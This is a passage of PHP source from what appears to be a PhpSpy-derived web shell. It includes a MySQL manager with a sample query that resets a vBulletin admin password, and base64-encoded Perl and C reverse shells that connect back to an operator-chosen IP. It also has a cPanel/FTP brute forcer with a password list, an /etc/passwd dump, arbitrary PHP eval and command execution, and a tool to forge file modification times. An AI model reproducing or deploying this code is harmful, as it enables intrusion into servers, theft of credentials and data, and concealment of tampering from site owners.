!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
makehide('action','sqlfile');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBName:');
makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
p('</p>');
formfoot();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
p('<h2>Upload file</h2>');
p('<p><b>This operation the DB user must has FILE privilege</b></p>');
p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
p('<h2>Download file</h2>');
p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
makehide('dbhost');
makehide('dbport');
makehide('dbuser');
makehide('dbpass');
makehide('dbname');
makehide('charset');
makehide('doing');
makehide('action','sqlfile');
p('</form>');
}
elseif ($action == 'sqladmin') {
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
if(isset($dbhost)){
$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
}
if(isset($dbuser)) {
$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
}
if(isset($dbpass)) {
$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
}
if(isset($dbport)) {
$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
}
if(isset($dbname)) {
$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
}
if(isset($charset)) {
$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
}
if ($doing == 'backupmysql' && $saveasfile) {
if (!$table) {
m('Please choose the table');
} else {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$table = array_flip($table);
$fp = @fopen($path,'w');
if ($fp) {
$result = q('SHOW tables');
if (!$result) p('<h2>'.mysql_error().'</h2>');
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $fp);
}
}
fclose($fp);
$fileurl = str_replace(SA_ROOT,'',$path);
m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
mysql_close();
} else {
m('Backup failed');
}
}
}
if ($insert && $insertsql) {
$keystr = $valstr = $tmp = '';
foreach($insertsql as $key => $val) {
if ($val) {
$keystr .= $tmp.$key;
$valstr .= $tmp."'".addslashes($val)."'";
$tmp = ',';
}
}
if ($keystr && $valstr) {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
}
}
if ($update && $insertsql && $base64) {
$valstr = $tmp = '';
foreach($insertsql as $key => $val) {
$valstr .= $tmp.$key."='".addslashes($val)."'";
$tmp = ',';
}
if ($valstr) {
$where = base64_decode($base64);
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
}
}
if ($doing == 'del' && $base64) {
$where = base64_decode($base64);
$delete_sql = "DELETE FROM $tablename WHERE $where";
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
}
if ($tablename && $doing == 'drop') {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
if (q("DROP TABLE $tablename")) {
m('Drop table of success');
$tablename = '';
} else {
m(mysql_error());
}
}
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Manager'));
makehide('action','sqladmin');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
if (action == 'del') {
if (!confirm('Is or isn\'t deletion record?')) return;
}
$('recordlist').doing.value=action;
$('recordlist').base64.value=base64;
$('recordlist').tablename.value=tablename;
$('recordlist').submit();
}
function moddbname(dbname) {
if(!dbname) return;
$('setdbname').dbname.value=dbname;
$('setdbname').submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$('settable').doing.value=doing;
}
if (page) {
$('settable').page.value=page;
}
$('settable').tablename.value=tablename;
$('settable').submit();
}
</script>
<?php
// SQL
formhead(array('name'=>'recordlist'));
makehide('doing');
makehide('action','sqladmin');
makehide('base64');
makehide('tablename');
p($dbform);
formfoot();
// Data
formhead(array('name'=>'setdbname'));
makehide('action','sqladmin');
p($dbform);
if (!$dbname) {
makehide('dbname');
}
formfoot();
formhead(array('name'=>'settable'));
makehide('action','sqladmin');
p($dbform);
makehide('tablename');
makehide('page',$page);
makehide('doing');
formfoot();
$cachetables = array();
$pagenum = 30;
$page = intval($page);
if($page) {
$start_limit = ($page - 1) * $pagenum;
} else {
$start_limit = 0;
$page = 1;
}
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
// get mysql server
$mysqlver = mysql_get_server_info();
p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
$highver = $mysqlver > '4.1' ? 1 : 0;
// Show database
$query = q("SHOW DATABASES");
$dbs = array();
$dbs[] = '-- Select a database --';
while($db = mysql_fetch_array($query)) {
$dbs[$db['Database']] = $db['Database'];
}
makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
$tabledb = array();
if ($dbname) {
p('<p>');
p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
if ($tablename) {
p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
}
p('</p>');
mysql_select_db($dbname);
$getnumsql = '';
$runquery = 0;
if ($sql_query) {
$runquery = 1;
}
$allowedit = 0;
if ($tablename && !$sql_query) {
$sql_query = "SELECT * FROM $tablename";
$getnumsql = $sql_query;
$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
$allowedit = 1;
}
p('<form action="'.$self.'" method="POST">');
p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\', `email` = \'[email protected]\' WHERE `userid` = \'1\' </font>
</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
makehide('tablename', $tablename);
makehide('action','sqladmin');
p($dbform);
p('</form>');
if ($tablename || ($runquery && $sql_query)) {
if ($doing == 'structure') {
$result = q("SHOW COLUMNS FROM $tablename");
$rowdb = array();
while($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
p('<td>Field</td>');
p('<td>Type</td>');
p('<td>Null</td>');
p('<td>Key</td>');
p('<td>Default</td>');
p('<td>Extra</td>');
p('</tr>');
foreach ($rowdb as $row) {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td>'.$row['Field'].'</td>');
p('<td>'.$row['Type'].'</td>');
p('<td>'.$row['Null'].' </td>');
p('<td>'.$row['Key'].' </td>');
p('<td>'.$row['Default'].' </td>');
p('<td>'.$row['Extra'].' </td>');
p('</tr>');
}
tbfoot();
} elseif ($doing == 'insert' || $doing == 'edit') {
$result = q('SHOW COLUMNS FROM '.$tablename);
while ($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
$rs = array();
if ($doing == 'insert') {
p('<h2>Insert new line in '.$tablename.' table »</h2>');
} else {
p('<h2>Update record in '.$tablename.' table »</h2>');
$where = base64_decode($base64);
$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
$rs = mysql_fetch_array($result);
}
p('<form method="post" action="'.$self.'">');
p($dbform);
makehide('action','sqladmin');
makehide('tablename',$tablename);
p('<table border="0" cellpadding="3" cellspacing="0">');
foreach ($rowdb as $row) {
if ($rs[$row['Field']]) {
$value = htmlspecialchars($rs[$row['Field']]);
} else {
$value = '';
}
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
}
if ($doing == 'insert') {
p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
} else {
p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
makehide('base64', $base64);
}
p('</table></form>');
} else {
$querys = @explode(';',$sql_query);
foreach($querys as $num=>$query) {
if ($query) {
p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
switch(qy($query))
{
case 0:
p('<h2>Error : '.mysql_error().'</h2>');
break;
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {
$allowedit = 1;
}
if ($getnumsql) {
$tatol = mysql_num_rows(q($getnumsql));
$multipage = multi($tatol, $pagenum, $page, $tablename);
}
if (!$tablename) {
$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
$tablename = $matches[1][0];
}
$result = q($query);
p($multipage);
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
if ($allowedit) p('<td>Action</td>');
$fieldnum = @mysql_num_fields($result);
for($i=0;$i<$fieldnum;$i++){
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
p("<td nowrap>$name<br><span>$type($len)</span></td>");
}
p('</tr>');
while($mn = @mysql_fetch_assoc($result)){
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
$where = $tmp = $b1 = '';
foreach($mn as $key=>$inside){
if ($inside) {
$where .= $tmp.$key."='".addslashes($inside)."'";
$tmp = ' AND ';
}
$b1 .= '<td nowrap>'.html_clean($inside).' </td>';
}
$where = base64_encode($where);
if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
p($b1);
p('</tr>');
unset($b1);
}
tbfoot();
p($multipage);
break;
case 2:
$ar = mysql_affected_rows();
p('<h2>affected rows : <b>'.$ar.'</b></h2>');
break;
}
}
}
}
} else {
$query = q("SHOW TABLE STATUS");
$table_num = $table_rows = $data_size = 0;
$tabledb = array();
while($table = mysql_fetch_array($query)) {
$data_size = $data_size + $table['Data_length'];
$table_rows = $table_rows + $table['Rows'];
$table['Data_length'] = sizecount($table['Data_length']);
$table_num++;
$tabledb[] = $table;
}
$data_size = sizecount($data_size);
unset($table);
p('<table border="0" cellpadding="0" cellspacing="0">');
p('<form action="'.$self.'" method="POST">');
makehide('action','sqladmin');
p($dbform);
p('<tr class="head">');
p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
p('<td>Name</td>');
p('<td>Rows</td>');
p('<td>Data_length</td>');
p('<td>Create_time</td>');
p('<td>Update_time</td>');
if ($highver) {
p('<td>Engine</td>');
p('<td>Collation</td>');
}
p('</tr>');
foreach ($tabledb as $key => $table) {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
p('<td>'.$table['Rows'].'</td>');
p('<td>'.$table['Data_length'].'</td>');
p('<td>'.$table['Create_time'].'</td>');
p('<td>'.$table['Update_time'].'</td>');
if ($highver) {
p('<td>'.$table['Engine'].'</td>');
p('<td>'.$table['Collation'].'</td>');
}
p('</tr>');
}
p('<tr class=fout>');
p('<td> </td>');
p('<td>Total tables: '.$table_num.'</td>');
p('<td>'.$table_rows.'</td>');
p('<td>'.$data_size.'</td>');
p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
p('</tr>');
p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
makehide('doing','backupmysql');
formfoot();
p("</table>");
fr($query);
}
}
}
tbfoot();
@mysql_close();
}//end sql backup
elseif ($action == 'backconnect') {
!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
!$yourport && $yourport = '12345';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
cf('/tmp/angel_bc',$back_connect);
$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
cf('/tmp/angel_bc.c',$back_connect_c);
$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
@unlink('/tmp/angel_bc.c');
$res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}
formhead(array('title'=>'Back Connect'));
makehide('action','backconnect');
p('<p>');
p('Your IP:');
makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
p('Your Port:');
makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
p('Use:');
makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
}//end backconnect window via NC
// Brute
elseif ($action == 'brute') {
formhead(array('title'=>'Brute Forcer'));
makehide('action','brute');
makehide('dir',$brute);
@ini_set('memory_limit', 1000000000000);
$connect_timeout=5;
@set_time_limit(0);
$submit = $_REQUEST['submit'];
$users = $_REQUEST['users'];
$pass = $_REQUEST['passwords'];
$target = $_REQUEST['target'];
$option = $_REQUEST['option'];
$passlist = "01
012
0123
01234
012345
0123456
01234567
012345678
0123456789
01234567890
12
123
1234
12345
123456
1234567
12345678
123456789
1234567890
111111
1111111
11111111
111111111
1111111111
000000
0000000
00000000
000000000
0000000000
222222
2222222
22222222
222222222
2222222222
333333
3333333
33333333
333333333
3333333333
444444
4444444
44444444
444444444
4444444444
555555
5555555
55555555
555555555
5555555555
666666
6666666
66666666
666666666
6666666666
777777
7777777
77777777
777777777
7777777777
888888
8888888
88888888
888888888
8888888888
999999
9999999
99999999
999999999
9999999999
123123
456456
789789
123321
456654
654321
7654321
87654321
987654321
0987654321
admin
administrator
admincp
cpanel
adminx
admins
password
passwords
passw0rd
p@ssw0rd
p@ssword
khongco
!@#$%^&*()
qwertyuiop
25251325
passw0rds";
if($target == ''){
$target = 'localhost';
}
print " <div align='center'>
<form method='post' style='border: 1px solid #000000'><br><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
<div align='center'><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
<tr>
<td align='center'>
<b>Username</b></td>
<td>
<p align='center'>
<b>Password</b></td>
</tr>
</table>
<p align='center'>
<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
$i = 0;
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vba_etcpwd) = each($line)){
echo "".$vba_etcpwd."\n";
break;
}
}
$i++;
}
echo "
</textarea>
<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
<br>
<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
</td></tr></table></td></tr></form><p align= 'left'>";
?>
<?php
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){
p("<b>[ [email][email protected][/email] ]# </b>
<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
}
curl_close($ch);}
function cpanel_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){
p("<b>[ [email][email protected][/email] ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
if(isset($submit) && !empty($submit)){
$userlist = explode ("\n" , $users );
$passlist = explode ("\n" , $pass );
p('<b>[ [email][email protected][/email] ]# Attacking ...</font></b><br>');
foreach ($userlist as $user) {
$_user = trim($user);
foreach ($passlist as $password ) {
$_pass = trim($password);
if($option == "ftp"){
ftp_check($target,$_user,$_pass,$connect_timeout);
}
if ($option == "cpanel")
{
cpanel_check($target,$_user,$_pass,$connect_timeout);
}
}
}
}
formfoot();
}
elseif ($action == 'etcpwd') {
formhead(array('title'=>'Get /etc/passwd'));
makehide('action','etcpwd');
makehide('dir',$nowpath);
$i = 0;
echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
while ($i < 60000) {
$line = posix_getpwuid($i);
if (!empty($line)) {
while (list ($key, $vba_etcpwd) = each($line)){
echo "".$vba_etcpwd."\n";
break;
}
}
$i++;
}
echo "</textarea></p>";
formfoot();
}
elseif ($action == 'eval') {
$phpcode = trim($phpcode);
if($phpcode){
if (!preg_match('#<\?#si', $phpcode)) {
$phpcode = "<?php\n\n{$phpcode}\n\n?>";
}
eval("?".">$phpcode<?");
}
formhead(array('title'=>'Eval PHP Code'));
makehide('action','eval');
maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
formfooter();
}//end eval
elseif ($action == 'editfile') {
if(file_exists($opfile)) {
$fp=@fopen($opfile,'r');
$contents=@fread($fp, filesize($opfile));
@fclose($fp);
$contents=htmlspecialchars($contents);
}
formhead(array('title'=>'Create / Edit File'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
formfooter();
}//end editfile
elseif ($action == 'newtime') {
$opfilemtime = @filemtime($opfile);
//$time = strtotime("$year-$month-$day $hour:$minute:$second");
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
formhead(array('title'=>'Clone file was last modified time'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
formfooter();
formhead(array('title'=>'Set last modified'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
p('<p>Instead »');
p('year:');
makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
p('month:');
makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
p('day:');
makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
p('hour:');
makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
p('minute:');
makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
p('second:');
makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
p('</p>');
formfooter();
}//end newtime
elseif ($action == 'shell') {
if (IS_WIN && IS_COM) {
if($program && $parameter) {
$shell= new COM('Shell.Application');
$a = $shell->ShellExecute($program,$parameter);
m('Program run has '.(!$a ? 'success' : 'fail'));
}
!$program && $program = 'c:\windows\system32\cmd.exe';
!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
formhead(array('title'=>'Execute Program'));
makehide('action','shell');
makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
p('<p>');
makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
}
formhead(array('title'=>'Execute Command'));
makehide('action','shell');
if (IS_WIN && IS_COM) {
$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
}
p('<p>');
makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
if ($command) {
p('<hr width="100%" noshade /><pre>');
if ($execfunc=='wscript' && IS_WIN && IS_COM) {
$wsh = new COM('WScript.shell');
$exec = $wsh->exec('cmd.exe /c '.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."\r\n");
fwrite($pipes[0], "exit\r\n");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
} else {
echo(execute($command));
}
p('</pre>');
}
}//end shell
elseif ($action == 'phpenv') {
$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
!$dis_func && $dis_func = 'No';
$info = array(
1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2 => array('Server Domain',$_SERVER['SERVER_NAME']),
3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
